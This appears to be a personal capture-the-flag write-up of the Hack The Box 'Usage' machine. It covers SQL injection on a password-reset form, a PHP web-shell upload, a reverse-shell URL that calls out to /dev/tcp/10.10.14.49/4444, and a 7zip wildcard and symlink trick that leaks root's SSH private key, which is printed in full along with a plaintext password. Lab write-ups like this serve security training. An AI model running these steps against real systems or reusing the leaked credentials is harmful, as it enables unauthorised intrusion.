> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-usage.md). # HTB - Usage ## Enumeration and Foothold ### NMAP ```bash PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ``` ### HTTP
add to hosts file
clicking on admin leaks another subdomain. add it to the hosts file.
another login page. registration page on the main site, lets register a new user.
password must be 6 characters.
once created with 6 digit pass registration is successful and can use to login.
nothing interesting on the dashboard other than the website is written in laravel framework., there is also a forget password link
sends email can bruteforce password for other users.\ can be any combinations would not be feasible. that said i will test the password reset functionality for sql injection and the login page is not vulnerable to sql injection.
testing for sql injection results in server error, strong indication that it is vulnerable to sql injection.
7 columns result error but 8 results in found.
that said i will use sqlmap to enumerate the database.
3 databases found
Found 15 tables in the usage\_blog database.
admin\_users table looks interesting.
found the above columns lets dump the data.
lets crack the hash
password cracked. using the credentials i can login to the admin login page.
logged in successfully. laravel version is 10.18.0.
the vulnerability in the user profile/avatar settings.
```bash ┌──(ajay㉿kali)-[~] └─$ cat shell.php.jpg ```
opening the image results in nothing so i need to find a way to make it execute php. what i will do is while uploading i will change the extension in burp.
that said i will use it get shell access. ``` http://admin.usage.htb/uploads/images/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.10.14.49/4444%200%3E%261%27 ``` ## Shell as Dash
i will use it to ssh to dash
the monitoring script leaked a password i can try against xander. ## Shell as Xander
``` xander: 3nc0d3d_pa$$w0rd ```
xander can run usage\_management as root.
the tool is a LSB pie executable.
the 7zip command has wildcard, seeing wildcard in commands is always interesting. what it does is it uses chdir to change the directory to /var/www/html and the uses 7zip to backup everything in the directory to /var/backups/project.zip. If an attacker can create or rename a file inside `/var/www/html` with a name that contains shell meta characters (e.g., `$(id)`), the shell will **execute** the command when the wildcard is expanded. i will create a symbolic link to roots private key and use it to get access as root ```bash xander@usage:/var/www/html$ touch @ajay; ln -fs /root/.ssh/id_rsa ajay ``` ```bash xander@usage:~$ sudo -l Matching Defaults entries for xander on usage: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User xander may run the following commands on usage: (ALL : ALL) NOPASSWD: /usr/bin/usage_management xander@usage:~$ sudo usage_management Choose an option: 1. Project Backup 2. Backup MySQL data 3. Reset admin password Enter your choice (1/2/3): 1 7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7763 64-Core Processor (A00F11),ASM,AES-NI) Open archive: /var/backups/project.zip -- Path = /var/backups/project.zip Type = zip Physical Size = 54830652 Scanning the drive: WARNING: No more files -----BEGIN OPENSSH PRIVATE KEY----- WARNING: No more files b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW WARNING: No more files QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi WARNING: No more files QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q WARNING: No more files AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs WARNING: No more files H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM= WARNING: No more files -----END OPENSSH PRIVATE KEY----- 2984 folders, 17948 files, 113879692 bytes (109 MiB) Updating archive: /var/backups/project.zip Items to compress: 20932 Files read from disk: 17948 Archive size: 54830789 bytes (53 MiB) Scan WARNINGS for files and folders: -----BEGIN OPENSSH PRIVATE KEY----- : No more files b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW : No more files QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi : No more files QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q : No more files AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs : No more files H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM= : No more files -----END OPENSSH PRIVATE KEY----- : No more files ---------------- Scan WARNINGS: 7 xander@usage:~$ ``` ## Shell as Root
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-usage.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.